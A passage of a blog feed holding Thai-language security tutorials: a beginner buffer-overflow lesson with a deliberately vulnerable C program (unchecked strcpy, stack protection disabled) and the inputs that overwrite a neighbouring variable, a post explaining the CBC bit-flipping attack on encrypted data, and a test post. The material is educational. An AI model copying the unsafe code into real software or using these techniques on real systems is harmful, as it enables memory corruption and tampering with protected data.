บางอย่างด้วย&lt;/p&gt;&lt;p&gt;เรามาเริ่มกันเลยดีกว่า...&lt;/p&gt;&lt;p&gt;ในทางโปรแกรมมิ่ง buffer หมา่ยถึง memory ที่จองไว้ สำหรับทำงานต่างๆ เช่น รับข้อมูลจากผู้ใช้ ใส่ข้อมูลเก็บชั่วคราว&lt;br/&gt;็Buffer Overflow ก็คือ การใส่ข้อมูลใน buffer เกินที่จองไว้ เช่นเราได้กำหนดขนาด buffer ไว้ 8 bytes แต่เราใส่ข้อมูลไป 12 bytes&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Buffer Overflow เป็นปัญหาหนึ่งในเรื่อง security โดยในเริ่มต้น จะยกตัวอย่างที่ง่ายๆ&lt;p&gt;&lt;p&gt;&lt;b&gt;ตัวอย่างที่ 1 (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_01_1.c?attredirects=0&amp;d=1"&gt;ex_01_1.c&lt;/a&gt;)&lt;/b&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  int magic = 0;&lt;br /&gt;  char buf[8];&lt;br /&gt;&lt;br /&gt;  printf("Before strcpy: magic is 0x%08x\n", magic);&lt;br /&gt;  strcpy(buf, argv[1]);&lt;br /&gt;  printf("After strcpy: magic is 0x%08x\n", magic);&lt;br /&gt;  if (magic == 0x55555555)&lt;br /&gt;    printf("Hahaha, you WIN\n");&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;build code ตัวอย่างที่ 1 ด้วยคำสั่งข้างล่างไม่ต้องพิมพ์ $ นะครับ (option ของ gcc จะมีการกล่าวถึงในหัวข้อถัดๆ ไป)&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o ex_01_1 ex_01_1.c&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;ใครที่มีความรู้เรื่องนี้มาบ้าง ก็คงจะรู้แล้วว่าผมจะให้ทำอะไร จากตัวอย่างนี้ ให้รันโปรแกรม แล้วให้โปรแกรมพิมพ์คำว่า "Hahaha, you WIN" ให้ได้&lt;/p&gt;&lt;p&gt;มาดูเฉลยกันเลยดีกว่า&lt;/p&gt;&lt;p&gt;จะเห็นว่ามีการจอง buffer ไว้ 8 bytes ครั้งแรกขอลองใส่ 8 ตัว&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_01_1 55555555&lt;br /&gt;Before strcpy: magic is 0x00000000&lt;br /&gt;After strcpy: magic is 0x00000000&lt;br /&gt;&lt;/pre&gt;คราวนี้ลองใส่ 9 ตัว&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_01_1 555555555&lt;br /&gt;Before strcpy: magic is 0x00000000&lt;br /&gt;After strcpy: magic is 0x00000035&lt;br /&gt;&lt;/pre&gt;จะเห็นว่ามีเลข 35 ออกมาตัวหนึ่ง คราวนี้ลองใส่ 12 ตัว&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_01_1 555555555555&lt;br /&gt;Before strcpy: magic is 0x00000000&lt;br /&gt;After strcpy: magic is 0x35353535&lt;br /&gt;&lt;/pre&gt;จะเห็นว่าคราวนี้ magic เป็น 35 หมดเลย ถ้าเราเป็น ASCII table ดู จะเห็นว่าเลข 35 ในฐาน 16 คือตัวอักษร "5" (หลังจากนี้ ผมจะเขียนเลขฐาน 16 เป็น 0x35 หรือ 35h) แต่ที่เราต้องการคือ 55h เมื่อดูที่ ASCII table 55h คือตัวอักษร "U" คราวนี้เราลองใส่เป็น U 12 ตัว&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_01_1 UUUUUUUUUUUU&lt;br /&gt;Before strcpy: magic is 0x00000000&lt;br /&gt;After strcpy: magic is 0x55555555&lt;br /&gt;Hahaha, you WIN&lt;br /&gt;&lt;/pre&gt;:O ทำได้แล้ว จะเห็นว่าเราทำการ copy ข้อมูลที่รับมาจาก argv[1] ลงที่ buf แต่ค่า magic กับถูกเปลี่ยนไปด้วย ที่เป็นแบบนี้ เพราะว่า magic ได้ถูกจองไว้หลัง buf ซึ่งเมื่อมีการเขียนข้อมูลลง buf เกินไว้ที่จอง ข้อมูลที่เกินก็จะถูกเขียนไปที่ magic&lt;br/&gt;คราวนี้ เรามาลองเพิ่มเติม โดยการใส่ตัว U ไป 16 ตัว&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_01_1 UUUUUUUUUUUUUUUU&lt;br /&gt;Before strcpy: magic is 0x00000000&lt;br /&gt;After strcpy: magic is 0x55555555&lt;br /&gt;Hahaha, you WIN&lt;br /&gt;Segmentation fault&lt;br /&gt;&lt;/pre&gt;o.O Segmentation fault คืออะไร ค่านี้เราไม่มีการสั่งให้โปรแกรมแสดงออกมา&lt;br/&gt;Segmentation fault เกิดเมื่อโปรแกรมมีการ access memory ที่ OS ไม่อนุญาต และที่เกิดขึ้นเพราะว่า เราได้เขียนทับข้อมูลส่วนที่ใช้สำหรับควบคุมการทำงานของโปรแกรม ซึ่งทำให้โปรแกรมทำงานผิดพลาด ซึ่งในกรณีนี้เราจะกลับมาดูอีกครั้ง ว่าเราสามารถทำอะไรได้บ้าง &gt;=)&lt;/p&gt;&lt;p&gt;น่าสนใจไหมครับ... แต่ก่อนที่จะถึงส่วนที่สนุก ผมต้องอธิบายเกี่ยวกับความรู้พื้นฐานสำหรับการเขียน exploit ก่อน เช่น memory layout, assembly, ELF, ... ซึ่งเรื่องพวกนี้ ผมคิดว่าน่าเบื่อ แต่จำเป็นต้องรู้&lt;/p&gt;&lt;p&gt;สุดท้าย tutorial การเขียน exploit ชุดนี้ สำหรับคนที่รู้ภาษา C และ Linux command พอสมควร ถ้าใครอ่านตอนนี้ไม่รู้เรื่อง แล้วสนใจ คงต้องไปหาความรู้เพิ่มเติมนะครับ&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-5784936765438503764?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/5784936765438503764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/11/buffer-overflow.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/5784936765438503764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/5784936765438503764'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/11/buffer-overflow.html' title='Buffer Overflow คืออะไร'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-5235988388744590305</id><published>2010-11-27T12:24:00.000+07:00</published><updated>2010-11-27T12:24:35.873+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><title type='text'>CBC Bit Flipping</title><content type='html'>encryption algorithm โดยทั่วไป จะทำการเข้ารหัสเป็น block เช่น AES จะมี block size เป็น 128 bits (16 bytes) ซึ่งถ้าเรานำ key มาเข้ารหัสข้อมูลทีละ block ก็จะเรียก mode นี้ว่า ECB (Electronic CodeBook) ตามรูปข้างล่าง (รูปจาก &lt;a href="http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation"&gt;http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5NEg4JpqI/AAAAAAAAAB4/fVRBRYnQ37Q/s1600/Ecb_encryption.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5NEg4JpqI/AAAAAAAAAB4/fVRBRYnQ37Q/s400/Ecb_encryption.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_4X9aA2jxLhc/TO5NHOZ27SI/AAAAAAAAAB8/x9RXwACjEOc/s1600/Ecb_decryption.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/_4X9aA2jxLhc/TO5NHOZ27SI/AAAAAAAAAB8/x9RXwACjEOc/s400/Ecb_decryption.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;รูปข้างบนสำหรับ encryption และรูปข้างล่างสำหรับ decryption ปัญหาของ mode นี้ไม่ขอกล่าวในนี้ เพราะว่าน่าจะมีอยู่แล้วในหนังสือ cryptography ทั่วไป&lt;br /&gt;&lt;br /&gt;สิ่งที่ผมต้องการจะพูดถึงคือ CBC (Cipher Block Chaining) mode ซึ่งมีการเข้ารหัสตามภาพข้างล่าง (รูปจาก) &lt;a href="http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation"&gt;http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5P0xBuXLI/AAAAAAAAACA/8sQ6HOm1EnM/s1600/Cbc_encryption.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="161" src="http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5P0xBuXLI/AAAAAAAAACA/8sQ6HOm1EnM/s400/Cbc_encryption.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5P1pIaQFI/AAAAAAAAACE/4m-v_OJB6rg/s1600/Cbc_decryption.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="147" src="http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5P1pIaQFI/AAAAAAAAACE/4m-v_OJB6rg/s400/Cbc_decryption.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;IV (Initialization Vector)&lt;/b&gt; คือค่าเริ่มต้น โดยปกติจะได้จากการ random ขนาดเท่ากับ block operation ของ algorithm นั้นๆและเพื่อให้ง่ายต่อการอธิบายต่อ ผมจะขอเรียกผลลัพธ์จากการ decryption ที่ยังไม่ทำ XOR ว่า "Intermediate value"&lt;br /&gt;&lt;br /&gt;ใน mode นี้ ก่อนที่จะนำข้อมูลไปเข้ารหัส จะไปทำ XOR กับผลลัพธ์จากการเข้ารหัสของ block ก่อนหน้า ส่วน block แรกจะทำการ XOR กับ IV ส่วนการทำ decryption ก็จะทำในทางกลับกัน ตามรูปข้างบน&lt;br /&gt;&lt;br /&gt;เมื่อเข้าใจ CBC mode กันแล้ว คราวนี้ก็มาถึง attack หนึ่งเพื่อทำ bit flipping ซึ่ง attack ที่ขั้นตอนการทำ XOR โดย XOR มีคุณสมบัติดังนี้ (สำหรับคนที่ยังไม่รู้)&lt;br /&gt;&lt;pre class="code language-text"&gt;A xor 0 = A&lt;br /&gt;A xor 1 = not A&lt;br /&gt;ถ้า A xor B = C แล้ว B xor C = A, C xor A = B&lt;br /&gt;&lt;/pre&gt;จากรูปการ decryption ของ CBC mode ถ้าเราสนใจใน block ที่ 3 จะเห็นว่า intermediate value ของ block ที่ 3 จะทำการ XOR กับ encrypted block ที่ 2 ได้ผลลัพธ์ออกมา ดังนั้นถ้าเราแก้ค่าใน encrypted block ที่ 2 ไป 1 bit ผลของการ decryption ใน block ที่ 3 ก็จะเปลี่ยนไป 1 bit แต่ผลของการ decryption ใน block ที่ 2 จะเปลี่ยนแปลงทั้งหมด ตามรูปข้างล่าง&lt;br/&gt;&lt;br/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TPCKHyZ8AHI/AAAAAAAAACI/R3_di4FlSYM/s1600/Cbc_decryption_bitflip.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="147" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TPCKHyZ8AHI/AAAAAAAAACI/R3_di4FlSYM/s400/Cbc_decryption_bitflip.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;attack นี้จะทำได้ เราต้องรู้ว่า plaintext บางส่วน(หรือทั้งหมด) แล้วเราต้องการเปลี่ยนค่าบ้างค่า และที่สำคัญข้อมูลใน block ที่ถูกเปลี่ยนแปลงทั้งหมดนั้น &lt;b&gt;เป็นเพียงข้อมูล ที่ไม่ผลต่อการทำงานของโปรแกรมที่อ่านข้อมูล&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;ถ้าเรารู้ข้อมูล plaintext และตำแหน่งทั้งหมด เราสามารถที่จะเปลี่ยนข้อมูลได้ทั้ง block เนื่องจากเราสามารถหา intermediate value ของ block ที่เราจะเปลี่ยนได้จากการ XOR กันของ plaintext กับ encrypted block ก่อนหน้า และนำ plaintext ที่เราต้องการจะให้เป็นไป XOR กับ intermediate value ก็จะได้ encrypted block ก่อนหน้าที่เราต้องเปลี่ยน&lt;br/&gt;&lt;br/&gt;&lt;p&gt;ถึงแม้ว่า attack นี้จะมีมานานแล้ว แต่ถือว่าเป็นตัวอย่างที่ดีว่า การทำ encryption ช่วยได้เฉพาะเรื่องความลับของข้อมูล (Confidential) แต่&lt;b&gt;ไม่ได้ป้องกันเรื่อง ความถูกต้องของข้อมูล (Integrity)&lt;/b&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-5235988388744590305?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/5235988388744590305/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/11/cbc-bit-flipping.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/5235988388744590305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/5235988388744590305'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/11/cbc-bit-flipping.html' title='CBC Bit Flipping'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_4X9aA2jxLhc/TO5NEg4JpqI/AAAAAAAAAB4/fVRBRYnQ37Q/s72-c/Ecb_encryption.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-2933282622352258187</id><published>2010-11-17T18:27:00.000+07:00</published><updated>2010-11-17T21:48:17.684+07:00</updated><title type='text'>ทดสอบ Hello</title><content type='html'>&lt;p&gt;ทดสอบ blog ใหม่ สำหรับ tutorial ภาษาไทย เนื้อหาจะเกี่ยวกับการ hack ก็น่าจะมีเกี่ยวกับ&lt;br/&gt;- การเขียน exploit&lt;br/&gt;- cryptograhy (การเข้ารหัส ถอดรหัส)&lt;br/&gt;- web attack (sql injection, xss, ...)&lt;br/&gt;- ... คิดไม่ออก&lt;br/&gt;&lt;/p&gt;&lt;p&gt;ยังไงก็ต้องใช้ Syntax Highlighter ในการเขียน ก็เลยขอลองซะเลย&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;int main() {&lt;br /&gt;    printf("Hello World :)");&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;อันนี้ใช้ของ &lt;a href="http://www.balupton.com/sandbox/jquery-syntaxhighlighter/demo/"&gt;http://www.balupton.com/sandbox/jquery-syntaxhighlighter/demo/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-2933282622352258187?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/2933282622352258187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/11/hello.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2933282622352258187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2933282622352258187'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/11/hello.html' title='ทดสอบ Hello'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
